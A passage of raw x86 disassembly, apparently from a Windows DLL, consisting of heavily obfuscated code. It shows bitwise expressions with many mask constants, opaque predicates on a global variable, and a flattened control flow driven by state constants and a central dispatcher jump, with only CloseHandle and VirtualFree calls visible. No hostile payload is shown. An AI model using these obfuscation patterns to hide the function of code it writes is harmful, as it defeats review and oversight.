or ebx, eax
and eax, 0x65fc9117
and edi, 0x1a0108a0
or edi, eax
not esi
or esi, ecx
xor edi, ebp
not ebx
or ebx, edi
or edx, esi
xor esi, 0x7b6d18b7
mov ebp, esi
xor ebp, esi
not ebp
and ebp, ebx
xor ebp, esi
mov edi, ebp
not edi
mov eax, edi
and eax, 0xc043b517
and ebp, 0x3fbc4ae8
or ebp, eax
xor ebp, edx
xor ebp, 0x3fbc4ae8
or edi, edx
not edi
or edi, ebp
mov edx, edi
xor edx, 0x45185a42
mov eax, edi
xor eax, 0xbae7a5bd
mov dword [esp + 4], eax
mov eax, dword [esp]
and eax, 0x61fed80b
mov ebx, ecx
and ebx, 0x9e0127f4
or ebx, eax
mov eax, ebx
xor eax, 0x9e0127f4
xor ebx, 0x3c4e1e6
and ebx, eax
mov ebp, edx
or ebp, 0x9dc5c612
mov eax, ebp
and eax, 0x6dc22737
mov esi, dword [esp + 4]
and esi, 0x23818c8
or esi, eax
xor edi, 0x272263af
and edi, edx
mov eax, edi
not eax
or ebp, eax
and eax, 0x6dc22737
and edi, 0x923dd8c8
or edi, eax
xor edi, esi
not ebp
or ebp, edi
mov edi, ebx
not edi
mov eax, edi
and eax, 0x33c70127
and ebx, 0xcc38fed8
or ebx, eax
mov eax, dword [esp]
or eax, 0x623a39ed
or edi, eax
and eax, 0x33c70127
and ecx, 0x8c00c610
or ecx, eax
xor ecx, ebx
not edi
or edi, ecx
xor edi, ebp
not edi
mov eax, dword [esp + 4]
and eax, 0x13df530a
and edx, 0xec20acf5
or edx, eax
xor edx, 0xec20acf5
or edx, edi
xor edx, 0xfdc4a754
cmp edx, 0x23b58ab
sete ah
cmp dword [0x1004090c], 0xa
setge al
setl cl
mov edx, ecx
and dl, ah
mov ch, al
inc ch
mov dh, al
and dh, ch
xor dh, 1
or dh, ch
xor dh, 1
or dh, al
mov ch, dh
xor ch, ah
or dh, ah
or ah, cl
xor ah, 1
or dl, ah
mov ah, dl
xor ah, 1
mov bl, ah
and bl, dl
xor bl, 1
mov bh, dl
xor bh, bl
or bl, dl
xor bl, 1
or bl, bh
mov bh, bl
xor bh, 1
and bh, cl
and bl, al
or bl, bh
mov cl, bl
xor cl, 1
and ah, cl
and bl, dl
or bl, ah
xor cl, bl
and cl, bl
xor dh, 1
or ch, dh
xor ch, 1
mov al, ch
xor al, dh
or ch, dh
xor ch, 1
or ch, al
xor al, 1
mov edx, eax
xor dl, ch
or ch, al
xor ch, 1
or ch, dl
mov ah, ch
xor ah, 1
mov al, cl
xor al, 1
mov dh, ch
xor dh, al
and dh, ah
mov dl, al
or dl, ah
xor dl, 1
or dl, dh
or ah, cl
xor dl, 1
or dl, al
xor dl, 1
or al, ch
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
mov ecx, edx
or cl, al
xor cl, 1
mov ah, dl
xor ah, al
or cl, ah
and al, ah
and ah, dl
xor al, 1
xor ah, 1
mov edx, eax
xor dl, ah
or ah, al
xor ah, 1
or ah, dl
xor ah, 1
mov al, cl
or al, ah
xor ah, cl
mov ecx, eax
xor cl, ah
test ah, 1
mov ebx, 0x9fdd15a6
mov edx, 0xbb0cd254
cmovne ebx, edx
test al, 1
mov eax, 0x9fdd15a6
cmovne ebx, eax
test cl, 1
cmove ebx, edx
jmp 0x1000b8a0
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x10040908]
lea edx, [eax + 1]
imul edx, eax
mov esi, edx
not esi
mov eax, esi
and eax, 0x200
mov ecx, edx
mov ebx, edx
and ecx, 0x4080001
or ecx, eax
xor ecx, 0x4080001
mov eax, esi
and eax, 0x40760088
or eax, ecx
mov ecx, eax
not ecx
mov edx, esi
mov ebp, esi
mov dword [esp + 8], esi
and edx, 0xbc6018e7
mov esi, ebx
and esi, 0x439fe718
or esi, edx
xor esi, 0xf81e1a6e
mov edi, esi
xor edi, ebp
and edi, esi
mov edx, edi
not edx
and edi, ecx
or ecx, edx
and edx, eax
or edx, edi
mov eax, edx
not eax
mov esi, eax
and esi, 0x63d80ed6
and edx, 0x9c27f129
or edx, esi
or eax, ecx
and ecx, 0x67fe0edf
xor ecx, edx
xor ecx, 0x4260009
not eax
or eax, ecx
mov ebp, eax
xor ebp, 0xbb81fd76
xor eax, 0x447e0289
mov ecx, eax
and ecx, 0x15f2b9a8
and eax, ebp
and ebp, 0xea0d4657
or ebp, ecx
mov ecx, ebp
xor ecx, 0xea054251
xor ebp, 0x15f2b9a8
mov edx, eax
not edx
mov esi, ebp
and esi, 0x19a2c8e
and ecx, 0xfe65d371
or ecx, esi
or ebp, edx
and edx, 0x19a2c8e
and eax, 0xfe65d371
or eax, edx
xor eax, ecx
not ebp
or ebp, eax
mov eax, ebp
not eax
mov ecx, ebp
xor ecx, 0xf2def18e
and ecx, eax
and ebp, 0xd210e71
or ebp, ecx
mov eax, ebp
xor eax, 0xc000870
xor ebp, 0xf2def18f
and eax, 0x6e422977
mov ecx, ebp
and ecx, 0x91bdd688
or ecx, eax
xor ecx, 0x6e422976
and ebp, 1
or ebp, ecx
mov eax, ebx
or eax, 0x8d2e4058
mov ecx, ebx
mov dword [esp + 4], ebx
and ecx, 0x8d2e4058
mov esi, dword [esp + 8]
mov edx, esi
and edx, 0x72d1bfa6
or edx, ecx
and eax, 0x8d2e4059
xor eax, edx
mov edx, esi
and edx, 0x3b6dd62c
mov ecx, ebx
and ecx, 0xc49229d3
or ecx, edx
mov esi, eax
not esi
mov edx, esi
mov edi, esi
and edx, 0x288620ab
and eax, 0xd779df54
or eax, edx
mov edx, ecx
xor edx, 0xc4100950
xor ecx, 0x28040028
and ecx, 0x288620ab
and edx, 0xd779df54
or edx, ecx
mov ebx, ebp
not ebx
xor edx, eax
xor edi, edx
and edi, edx
mov ecx, ebp
and ecx, 0x37adfc3c
mov eax, ebx
and eax, 0xc85203c3
or eax, ecx
mov ecx, eax
xor ecx, 0x88120282
xor eax, 0x37adfc3c
mov edx, eax
and edx, 0x46c8255d
and ecx, 0xb937daa2
or ecx, edx
mov edx, ebp
and edx, ebx
mov esi, edx
not esi
or eax, esi
and esi, 0x46c8255d
and edx, 0xb937daa2
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov dword [esp + 0xc], edi
mov esi, edi
not esi
mov dword [esp], esi
mov ecx, edi
or ecx, 0xe25939b2
mov edx, ecx
and edx, 0x6121a86c
and esi, 0x1c864601
or esi, edx
mov edx, edi
xor edx, 0x1da6c64d
and edx, edi
mov edi, edx
not edi
or ecx, edi
and edi, 0x6121a86c
and edx, 0x9ede5793
or edx, edi
xor edx, esi
not ecx
or ecx, edx
mov esi, ecx
mov edi, eax
not edi
mov edx, edi
and edx, 0xb4529b7c
mov ecx, eax
and ecx, 0x4bad6483
or ecx, edx
and ebp, 0x1000987c
and ebx, 0xa4520300
or ebx, ebp
mov ebp, ebx
xor ebp, 0x84500300
or ebp, 0x90d6082
xor ebx, 0x44
and ebx, 0x20020044
and ebp, 0x9d5dfbba
or ebp, ebx
mov edx, eax
xor edx, 0xa47ea10d
and edx, eax
mov dword [esp + 0x10], edx
mov ebx, eax
not ecx
or ecx, edi
mov dword [esp + 0x1c], ecx
and edi, 0x3eefe0f9
and ebx, 0xc1101f06
or ebx, edi
mov ecx, esi
mov edx, esi
xor edx, 0xe25939b2
xor esi, 0x1da6c64d
xor ebx, 0xc1101f06
xor ecx, 0x462798bf
mov edi, ecx
and edi, esi
mov dword [esp + 0x18], ebx
or ebx, esi
or esi, 0x84028a58
and ecx, edx
mov dword [esp + 0x20], ecx
and edx, 0x402d4003
and esi, 0x8f82aed8
or esi, edx
mov ecx, dword [esp]
mov edx, ecx
and edx, 0x44cee94
mov eax, dword [esp + 0xc]
and eax, 0xfbb3116b
or eax, edx
xor eax, 0x4fe18a17
xor ecx, eax
and ecx, eax
mov dword [esp], ecx
mov edx, ebp
xor edx, 0x62a20445
xor ebp, edx
xor ebp, 0x9d5dfbba
mov ecx, dword [esp + 0x1c]
and ebp, ecx
or ecx, edx
xor ebp, edx
mov edx, ebp
not edx
mov eax, edx
and eax, 0x9dae1e92
and ebp, 0x6251e16d
or ebp, eax
or edx, ecx
mov eax, ecx
and eax, 0xbdfe9ffe
xor eax, ebp
xor eax, 0x2050816c
not edx
or edx, eax
mov ecx, esi
xor ecx, 0x8f82aed8
xor esi, 0x707d5127
mov ebp, dword [esp]
and esi, ebp
not ebp
mov eax, ecx
xor eax, ebp
and eax, ecx
and ebp, ecx
or ebp, esi
or ebp, eax
mov eax, edx
not eax
mov ecx, edx
or ecx, 0x21858923
and ecx, 0xa9cfe927
mov esi, eax
and eax, 0x6001040
or eax, ecx
xor eax, ebp
or esi, 0x884a6004
and esi, 0xa9cfe927
and edx, 0x50300698
or edx, esi
xor edx, eax
mov eax, dword [esp + 0x18]
and eax, 0xa47ea10d
mov ebp, dword [esp + 0x10]
or ebp, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x9a36b40b
and edi, 0x65c94bf4
or edi, ecx
mov esi, dword [esp + 0x20]
mov ecx, esi
not ecx
or eax, ecx
and ecx, 0x9a36b40b
and esi, 0x65c94bf4
or esi, ecx
xor esi, edi
not eax
or eax, esi
mov ecx, eax
xor ecx, eax
not ecx
and ecx, ebp
xor ecx, eax
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0xe4c00a6
and ecx, ebx
and ebx, 0xf1b3ff59
or ebx, eax
mov esi, ebx
xor esi, 0x40b04818
xor ebx, 0xe4c00a6
mov eax, ebx
and eax, 0xb147b7c7
and esi, 0x4eb84838
or esi, eax
mov eax, ecx
not eax
or ebx, eax
and eax, 0xb147b7c7
and ecx, 0x4eb84838
or ecx, eax
mov ebp, dword [esp + 8]
mov eax, ebp
and eax, dword [esp + 4]
xor edx, 0x8e4a7044
xor ecx, esi
not ebx
or ebx, ecx
mov edi, ebx
not edi
and ebx, 0x6c178615
and edi, 0x93e879ea
or edi, ebx
mov ecx, edi
xor ecx, 0x80596a
xor edi, 0x6c178615
mov esi, edx
xor esi, edi
and esi, edx
and edi, 0xfb692094
and ecx, 0x496df6b
or ecx, edi
xor ecx, edx
mov edx, esi
not edx
mov edi, edx
and edi, 0x98dddd8c
and esi, 0x67222273
or esi, edi
mov edi, ecx
xor edi, 0xfb692094
xor ecx, 0x496df6b
or edx, ecx
and ecx, 0x98dddd8c
and edi, 0x67222273
or edi, ecx
xor edi, esi
not edx
or edx, edi
mov ecx, edx
not ecx
mov esi, edx
and esi, 0xdd44171c
mov edi, ecx
and edi, 0x22bbe8e3
or edi, esi
mov esi, edi
xor esi, 0x20100081
xor edi, 0x8c040200
and edi, 0x8e040a02
and esi, 0x21101499
or esi, edi
and edx, 0xd459a0a2
mov ebx, ecx
and ebx, 0x2ba65f5d
or ebx, edx
mov edi, esi
xor edi, 0x20101081
xor esi, 0xdeefeb66
xor ebx, 0x7b4dbe39
and ecx, 0xaf141e9b
or ecx, ebx
mov ebx, esi
and esi, 0x996be71e
and edi, 0x26141881
or edi, esi
mov edx, ecx
not edx
or ebx, ecx
not ebx
and ecx, 0x996be71e
and edx, 0x669418e1
or edx, ecx
xor edx, edi
or edx, ebx
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0x1028c104
mov edi, edx
and edi, 0x40c32060
or edi, esi
mov esi, edi
xor esi, 0x40802020
xor edi, 0x97044b14
or ecx, 0x10434144
and edi, 0x97474b54
and esi, 0x40a8a020
or esi, edi
and ecx, 0x97474b54
and edx, 0x2810148b
or edx, ecx
xor edx, esi
mov dword [esp], edx
mov edx, ebp
mov ecx, ebp
and ecx, 0x1b1dfcc0
mov ebx, dword [esp + 4]
mov esi, ebx
and esi, 0xe4e2033f
or esi, ecx
mov ecx, esi
xor ecx, 0xc402021b
xor esi, 0x1b1dfcc0
mov edi, esi
and edi, 0x3ae51524
and ecx, 0xc51aeadb
or ecx, edi
mov edi, eax
not edi
or esi, edi
and edi, 0x3ae51524
and eax, 0xc51aeadb
or eax, edi
xor eax, ecx
not esi
or esi, eax
mov ecx, esi
xor ecx, 0xf21a5190
and ecx, esi
mov esi, ebx
and esi, 0x1c348db9
mov eax, ebp
and eax, 0xe3cb7246
or eax, esi
xor eax, 0x11d123d6
and edx, 0xde5ae6f
or edx, eax
mov eax, edx
not eax
mov edi, ecx
not edi
mov esi, edi
or esi, edx
not esi
and edi, 0x22f57754
and ecx, 0xdd0a88ab
or ecx, edi
and edx, 0x22f57754
and eax, 0xdd0a88ab
or eax, edx
xor eax, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0xc40b80dc
mov edi, eax
and edi, 0x3bf47f23
or edi, esi
mov esi, edi
xor esi, 0x10900020
xor edi, 0x80020010
or ecx, 0x80063a12
or edi, 0x4400c000
and edi, 0xc406fa12
and esi, 0x109900e4
or esi, edi
and ecx, 0xc406fa12
and eax, 0x2b600509
or eax, ecx
xor eax, esi
mov edi, eax
xor edi, 0x62856b66
mov edx, dword [esp]
mov esi, edx
not esi
mov ebx, esi
and ebx, 0xb7711abe
and edx, 0x488ee541
or edx, ebx
mov ebp, edx
xor ebp, 0x802500
xor edx, 0xb7711abe
mov ebx, edx
and ebx, 0x7a7fd0cd
and ebp, 0x85802f32
or ebp, ebx
mov ecx, eax
xor ecx, 0x9d7a9499
or edx, edi
xor eax, 0x5323b7f5
mov ebx, ecx
and ecx, eax
and eax, edi
and edi, 0x7a7fd0cd
and ebx, 0x85802f32
or ebx, edi
xor ebx, ebp
not edx
or edx, ebx
and esi, 0x1240811
mov ebx, dword [esp]
mov edi, ebx
and edi, 0x3082d482
or edi, esi
xor edi, 0x3082d482
and ebx, 0xce59236c
or ebx, edi
mov esi, ecx
not esi
mov edi, esi
and edi, 0xbfde90fe
and ecx, 0x40216f01
or ecx, edi
mov edi, eax
not edi
or esi, edi
and edi, 0xbfde90fe
and eax, 0x40216f01
or eax, edi
xor eax, ecx
not esi
or esi, eax
mov eax, esi
xor eax, esi
not eax
and eax, ebx
xor eax, esi
mov ecx, eax
not ecx
xor eax, ecx
and eax, edx
or edx, ecx
not edx
xor eax, ecx
or eax, edx
mov edx, eax
not edx
mov ecx, eax
mov esi, eax
xor esi, 0xd57f173c
and esi, eax
mov edi, edx
and edi, 0xb4f03244
and eax, 0x4b0fcdbb
or eax, edi
not eax
or eax, edx
and edx, 0x91621438
and ecx, 0x441d0304
or ecx, edx
mov edx, ecx
xor edx, 0x41d0100
xor ecx, 0xbbe2fcfb
mov edi, esi
not edi
mov ebx, ecx
and ebx, 0x5a00a294
and edx, 0x857f1528
or edx, ebx
or ecx, edi
and edi, 0x5a00a294
and esi, 0xa5ff5d6b
or esi, edi
xor esi, edx
not ecx
or ecx, esi
mov edx, ecx
xor edx, 0x8002081
xor ecx, 0xc5320528
and ecx, 0xe7b2cd6a
and edx, 0x184d3295
or edx, ecx
mov esi, edx
xor esi, 0x10401204
xor edx, 0x80b00040
and edx, 0x80b02040
and esi, 0x34401204
or esi, edx
mov ecx, esi
xor ecx, 0x34401204
xor esi, 0x423ce81b
mov edi, eax
not edi
and esi, 0x727cea1b
mov edx, ecx
and edx, 0x84801044
or edx, esi
xor edx, 0x8d8315e4
mov esi, eax
and esi, 0x29f36dd1
xor eax, 0xc8d53138
and eax, edi
and edi, 0xd60c922e
or edi, esi
mov esi, edi
xor esi, 0xd60c922e
xor edi, 0x1ed9a316
and edi, esi
or esi, edx
and edx, 0x372acac7
and ecx, 0x80d03000
or ecx, edx
mov edx, edi
not edx
mov ebx, edx
and ebx, 0x2958107c
and edi, 0xd6a7ef83
or edi, ebx
mov ebx, eax
not ebx
or edx, ebx
and ebx, 0x2958107c
and eax, 0xd6a7ef83
or eax, ebx
xor eax, edi
not edx
or edx, eax
xor edx, ecx
mov eax, edx
xor eax, 0x400
xor edx, 0xfffffbff
mov ecx, edx
and ecx, 0x98e83b1d
and eax, 0x6717c4e2
or eax, ecx
or edx, esi
and esi, 0xfefcfb5f
xor esi, eax
xor esi, 0x6614c042
not edx
or edx, esi
mov eax, edx
xor eax, 0x4b0fcdbb
mov ecx, edx
xor ecx, 0xb4f03244
xor edx, 0xee83d282
and edx, eax
mov esi, eax
or esi, 0x5a73e0c6
mov edi, esi
and edi, 0xc226a73e
mov ebx, ecx
and ebx, 0x25881801
or ebx, edi
mov edi, edx
not edi
or esi, edi
and edi, 0xc226a73e
and edx, 0x3dd958c1
or edx, edi
xor edx, ebx
not esi
or esi, edx
xor esi, 0x5a73e0c6
and ecx, 0x1502241d
and eax, 0xeafddbe2
or eax, ecx
xor eax, 0xeafddbe2
or eax, esi
xor eax, 0x9bea3c3f
cmp eax, 0x6415c3c0
setne ah
sete cl
cmp dword [0x1004090c], 0xa
setl byte [esp]
setge dl
mov ch, cl
xor ch, ah
mov al, ch
and al, cl
mov dh, cl
mov byte [esp + 4], cl
and ch, ah
xor al, 1
xor ch, 1
mov cl, al
xor cl, ch
or ch, al
xor ch, 1
or ch, cl
mov al, ch
xor al, 1
mov cl, dh
and cl, al
and ch, ah
or ch, cl
xor ch, 1
or ch, al
mov bh, ch
xor bh, 1
mov bl, ch
and bl, bh
xor bl, 1
mov al, ch
xor al, bl
mov dh, ch
or dh, bl
xor dh, 1
or dh, al
or dh, ch
mov al, dh
mov ecx, ebx
xor cl, bh
or bl, bh
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
and cl, dh
mov ch, dh
xor ch, 1
xor al, bh
and bl, ch
or bl, cl
mov dh, al
xor dh, 1
or ch, bh
xor ch, 1
or ch, bl
mov bl, ch
xor bl, 1
and dh, al
and bl, ch
xor dh, 1
mov cl, dh
xor cl, al
or dh, al
xor dh, 1
or dh, cl
xor bl, 1
mov cl, bl
xor cl, ch
or bl, ch
xor bl, 1
or bl, cl
xor bl, dh
or ch, al
xor ch, 1
or ch, bl
mov bl, ch
xor bl, 1
mov dh, dl
xor dh, ch
and dh, dl
mov al, bl
or al, dl
xor dh, 1
mov cl, dh
xor cl, al
or dh, al
xor dh, 1
or dh, cl
mov al, dh
xor al, bl
xor al, 1
or dh, ch
xor dh, 1
or dh, al
and bl, ch
xor bl, 1
mov al, bl
xor al, ch
or bl, ch
xor bl, 1
or bl, al
mov al, bl
xor al, 1
mov ecx, edx
xor cl, bl
mov bh, byte [esp]
and bl, bh
mov ch, dl
and ch, al
or ch, bl
mov bl, dh
xor bl, 1
or al, bh
xor al, 1
or al, cl
xor ch, 1
mov cl, ch
xor cl, al
or ch, al
xor ch, 1
or ch, cl
mov bh, ch
xor bh, 1
mov al, bl
xor al, bh
or ch, bl
or bl, bh
xor bl, 1
or bl, al
mov cl, bl
xor cl, 1
or bh, dh
mov al, bh
xor al, ch
or bh, ch
xor bh, 1
or bh, al
mov ch, bh
xor ch, 1
mov al, cl
and al, bl
and bh, ch
xor al, 1
or al, bl
xor al, 1
or al, cl
xor bh, 1
mov cl, bh
xor cl, ch
or bh, ch
xor bh, 1
or bh, cl
mov cl, al
xor cl, 1
and cl, bh
xor bh, 1
and bh, al
or ch, bl
xor ch, 1
or ch, cl
or ch, bh
mov al, ah
or al, dl
movzx ebx, byte [esp]
mov dh, bl
xor dh, ah
and dh, dl
xor dh, 1
mov cl, dh
xor cl, al
or dh, al
xor dh, 1
or dh, cl
xor dh, 1
mov al, bl
or dh, bl
or ah, bl
xor ah, 1
or dl, byte [esp + 4]
xor dl, 1
or dl, ah
mov cl, dl
xor cl, 1
and dl, cl
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
xor dl, dh
or cl, dh
mov eax, ecx
or al, dl
xor al, 1
xor cl, dl
or cl, al
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov cl, al
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
xor al, 1
or al, cl
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov cl, al
and cl, ah
xor cl, 1
mov dh, ah
xor dh, cl
or cl, ah
xor cl, 1
or dh, cl
mov dl, dh
xor dl, 1
and dl, dh
mov dh, dl
xor dh, 1
and ah, dh
and dl, al
or dl, ah
or dh, al
xor dl, 1
mov ah, dl
xor ah, dh
or dl, dh
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
or cl, al
mov al, cl
xor al, 1
and cl, dl
or dl, al
and al, ah
or al, cl
xor al, 1
mov cl, dl
xor cl, al
or al, dl
xor al, 1
or al, cl
mov cl, al
xor cl, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, ch
mov ah, ch
xor ah, 1
or dl, ah
and ah, ch
xor ah, 1
mov al, ch
xor al, ah
or ah, ch
xor ah, 1
or ah, al
xor ah, 1
mov al, ah
xor al, cl
and cl, al
and al, ah
mov ah, cl
xor ah, 1
xor cl, al
xor al, 1
or al, ah
xor al, 1
or al, cl
mov ecx, eax
mov ah, dl
xor ah, al
and al, dl
and ah, dl
xor dl, 1
xor cl, 1
and cl, dl
or al, cl
xor ah, 1
mov ecx, eax
xor cl, 1
mov dl, ah
xor dl, cl
or ah, cl
xor ah, 1
or ah, dl
mov ch, ah
xor ch, 1
mov dl, ch
and dl, ah
xor ch, dl
xor dl, 1
or dl, ah
xor dl, 1
or dl, ch
mov ah, dl
xor ah, 1
and dl, cl
or cl, ah
and ah, al
or ah, dl
mov al, cl
xor al, ah
test al, 1
mov edx, 0x665723a3
mov esi, 0xcc91b8d8
cmovne edx, esi
test ah, 1
mov ebx, edx
mov eax, 0x665723a3
jmp 0x1001e515
mov ebx, 0x4e7f68ba
jmp 0x1000b8a0
push 0x8000
push 0
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ebx, 0xbb0cd254
jmp 0x1000b8a0
mov ebx, 0x2e65bfa2
mov dword [esp + 0x14], 1
jmp 0x1000b8a0
mov ebx, 0xcc000499
jmp 0x1000b8a0
mov ebx, 0x9587ac96
jmp 0x1000b8a0
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 0xe4d85bb1
mov dword [esp + 0x14], 1
jmp 0x1000b8a0
mov ebx, 0x3621ece
jmp 0x1000b8a0
mov eax, dword [0x10040908]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, ecx
mov edi, ecx
mov dword [esp], ecx
and eax, 0x20410310
mov ecx, edx
and ecx, 0x47a43042
or ecx, eax
xor ecx, 0x47a43042
mov eax, edx
mov ebx, edx
mov dword [esp + 0x14], edx
and eax, 0x981accad
or eax, ecx
mov ecx, eax
xor ecx, 0x80
xor eax, 0x1002010
and eax, 0x91002015
and ecx, 0x40411082
or ecx, eax
mov esi, ecx
xor esi, 0x411000
or esi, 0x2b44868
xor ecx, 0x80000005
and ecx, 0xc0000087
and esi, 0x13f57878
or esi, ecx
mov edx, esi
xor edx, 0x13f57878
mov eax, ebx
and eax, 0x338f5d44
mov ecx, edi
and ecx, 0xcc70a2bb
or ecx, eax
xor ecx, 0xe2ce6dd3
mov eax, edi
and eax, 0xd1413097
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x670749f1
mov edi, ecx
and edi, 0x98f8b60e
or edi, eax
mov ebx, esi
xor ebx, 0xec0a8787
xor esi, 0x95eb6e1d
and esi, ebx
mov eax, edx
and eax, 0x51412092
or eax, esi
mov esi, edi
xor esi, 0x98f8b60e
mov ebp, edi
xor ebp, 0xe1195f94
and ebp, esi
and ecx, 0x79e1e99a
or ecx, ebp
mov ebp, ecx
xor ebp, ecx
not ebp
and ebp, eax
xor ebp, ecx
mov eax, edx
and eax, 0x3015
and ebx, 0xdb45cfaa
or ebx, eax
xor edi, 0x670749f1
or edx, edi
and edi, 0x24ba3055
and esi, 0xdb45cfaa
or esi, edi
xor esi, ebx
not edx
or edx, esi
not edx
or edx, ebp
mov esi, edx
xor esi, 0x2ebecf68
xor edx, 0xd1413097
mov eax, edx
and eax, 0xa248e456
and edx, esi
and esi, 0x5db71ba9
or esi, eax
mov ecx, esi
xor ecx, 0x1d9212a8
xor esi, 0xa248e456
mov eax, edx
not eax
mov edi, esi
and edi, 0xe02dcd07
and ecx, 0x1fd232f8
or ecx, edi
or esi, eax
and eax, 0xe02dcd07
and edx, 0x1fd232f8
or edx, eax
xor edx, ecx
not esi
or esi, edx
mov edx, esi
xor edx, 0xfffffffe
and edx, esi
mov edi, esi
not edi
mov ecx, edx
not ecx
or esi, 1
mov eax, ecx
and eax, 0x5af2cffc
and edx, 0xa50d3003
or edx, eax
or ecx, esi
and esi, 0x5af2cffc
and edi, 0xa50d3002
or edi, esi
xor edi, edx
not ecx
or ecx, edi
mov edx, ecx
not edx
and ecx, 0x374bc168
mov eax, edx
and eax, 0xc8b43e97
or eax, ecx
mov ecx, eax
xor ecx, 0x2508c161
and edx, 1
or edx, ecx
xor eax, 0xc8b02496
and eax, 0xdaf3249e
and edx, 0x250cdb61
or edx, eax
mov eax, dword [esp]
and eax, 0x6869bf31
mov ecx, dword [esp + 0x14]
mov esi, ecx
xor esi, 0x6869bf31
and esi, ecx
or esi, eax
mov ecx, esi
xor ecx, 0x979640ce
mov eax, esi
xor eax, 0x979640cf
and eax, ecx
xor esi, 0x6869bf30
and esi, 0xfffffffe
and ecx, 1
or ecx, esi
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x70e881d2
and eax, 0x8f177e2d
or eax, ecx
mov ecx, eax
xor ecx, 0x50088042
xor eax, 0x3127605
and eax, 0x23f27795
and ecx, 0xdc0d886a
or ecx, eax
mov esi, ecx
xor esi, 0x94010040
xor ecx, 0x2b00010
and ecx, 0x4abc883a
and esi, 0xb54377c5
or esi, ecx
mov ebx, esi
xor ebx, 0x4abc883a
xor esi, 0xb54377c5
mov eax, ebx
and eax, 0x87f98562
mov ecx, esi
and ecx, 0x78067a9d
or ecx, eax
mov ebp, edx
xor ebp, 0x250cdb61
mov eax, ecx
xor eax, 0x78067a9d
xor edx, 0xdaf3249e
and eax, edx
xor ecx, 0x87f98562
and ecx, ebp
or ecx, eax
mov edi, ecx
xor edi, edx
and edi, ecx
mov eax, edx
and eax, 0x418d5876
mov ecx, ebp
and ecx, 0xbe72a789
or ecx, eax
xor ecx, 0x418d5876
or ecx, ebx
and ebx, 0xd7bef0d
and esi, 0xf28410f2
or esi, ebx
xor esi, edx
xor esi, 0xf28410f2
and esi, ebp
mov ebx, esi
not ebx
mov eax, ebx
and eax, 0x80d9c01b
and esi, 0x7f263fe4
or esi, eax
xor esi, ecx
xor esi, 0x7f263fe4
or ebx, ecx
not ebx
or ebx, esi
mov esi, ebx
not esi
mov eax, esi
and eax, 0x6ba36a52
mov ecx, ebx
and ecx, 0x945c95ad
or ecx, eax
xor ecx, edi
mov ebp, ecx
mov eax, ebx
and eax, 0xbc8f0db2
and esi, 0x4370f24d
or esi, eax
mov edx, ecx
xor edx, 0x2b204200
xor esi, edi
xor esi, 0x4370f24d
or ebx, edi
not ebx
or ebx, esi
mov ecx, ebx
not ecx
mov edi, ebp
xor edi, 0x945c95ad
mov eax, edi
and eax, 0x54872977
and edx, 0xab78d688
or edx, eax
or edi, ebx
and ebx, 0x54872977
and ecx, 0xab78d688
or ecx, ebx
xor ecx, edx
not edi
or edi, ecx
mov esi, dword [esp]
mov ecx, esi
mov ebx, dword [esp + 0x14]
and ecx, ebx
mov eax, ecx
not eax
mov edx, ebx
and edx, 0x4e02d228
and esi, 0xb1fd2dd7
or esi, edx
or ebx, eax
and eax, 0x4e02d228
and ecx, 0xb1fd2dd7
or ecx, eax
xor ecx, esi
not ebx
or ebx, ecx
mov dword [esp + 0x14], ebx
mov eax, edi
not eax
mov dword [esp], eax
and eax, 0x2225164
mov edx, edi
and edx, 0xa0100410
or edx, eax
mov esi, edx
xor esi, 0xa0100410
xor edx, 0x5feffbef
mov ecx, edi
xor ecx, 0xa2325574
and ecx, edi
mov dword [esp + 4], edi
mov eax, edx
and eax, 0x4f04bb05
and esi, 0xa0324470
or esi, eax
mov eax, ecx
not eax
or edx, eax
and eax, 0x4f04bb05
and ecx, 0xb0fb44fa
or ecx, eax
mov ebp, ebx
not ebp
xor ecx, esi
not edx
or edx, ecx
mov eax, edx
xor eax, 0x580ca802
xor edx, 0xa2325574
and eax, 0x782eb816
mov ecx, edx
and ecx, 0x87d147e9
or ecx, eax
xor ecx, 0x6b860f24
and edx, 0x13a8b732
or edx, ecx
mov eax, dword [esp]
and eax, 0x11802612
mov ebx, edi
and ebx, 0x2289120
or ebx, eax
mov esi, dword [esp + 0x14]
mov edi, esi
or edi, 0x623e730f
mov eax, edi
and eax, 0x7b4b093c
mov ecx, ebp
and ecx, 0x848084c0
or ecx, eax
mov eax, esi
xor eax, 0x9dc18cf0
and eax, esi
mov esi, eax
not esi
or edi, esi
and esi, 0x7b4b093c
and eax, 0x84b4f6c3
or eax, esi
xor eax, ecx
not edi
or edi, eax
mov ecx, edi
xor ecx, 0x164001
xor edi, 0x880100c0
and edi, 0xe80100cc
and ecx, 0x4564801
or ecx, edi
mov eax, ecx
xor eax, 0x464801
or eax, 0x12000112
xor ecx, 0xa00100cc
and ecx, 0xa41100cc
and eax, 0x5a464913
or eax, ecx
mov dword [esp + 8], eax
and ebp, 0xf2a8976f
mov eax, dword [esp + 0x14]
and eax, 0xd576890
or eax, ebp
mov ebp, eax
xor ebp, 0xd576890
xor eax, 0xa2800161
and eax, 0xa39129f1
mov ecx, eax
mov eax, ebp
and eax, 0x5c6ed60e
or eax, ecx
xor eax, 0x4fc6613c
and ebp, 0xec5748cd
